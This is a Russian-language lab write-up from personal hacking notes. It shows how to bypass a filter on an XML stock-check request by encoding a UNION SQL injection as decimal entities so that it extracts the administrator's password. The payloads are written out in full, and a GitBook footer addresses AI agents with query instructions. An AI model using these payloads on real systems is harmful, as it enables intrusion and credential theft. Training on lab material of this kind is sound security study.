> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/sql-injection/sql-injection-filter-bypass-via-xml-encoding.md).

# Обход фильтра SQL-инъекции с XML-кодированием

### SQL-инъекция с обходом фильтра через XML-кодирование

В этом лабораторном задании в функции проверки наличия товара есть уязвимость SQL-инъекции. Результаты запроса возвращаются в ответе приложения; поэтому мы можем использовать `UNION` атаку для извлечения данных из других таблиц. / В базе данных есть `users` таблица, содержащая имена пользователей и пароли зарегистрированных пользователей. Чтобы решить задание, выполните атаку SQL-инъекции, чтобы получить идентификаторы пользователя admin, а затем войдите в его учетную запись.

Приведённые примеры:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId>2 union select 1</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/8c49427cb7f86adfb8a0e0711c551c2f33a7477d" alt=""><figcaption></figcaption></figure>

* Расширение Hackvertor — десятичные сущности

<figure><img src="/files/68710cb894ec62bbde95f0a7b29962000314f1db" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId><@dec_entities>2 union select 1</@dec_entities></storeId>
</stockCheck>

<@dec_entities>
2 union select password from users where username='administrator'
</@dec_entities>
```

{% endcode %}

<figure><img src="/files/1dfb72cbdca6c783670ff813fc34a093ae425263" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/sql-injection/sql-injection-filter-bypass-via-xml-encoding.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
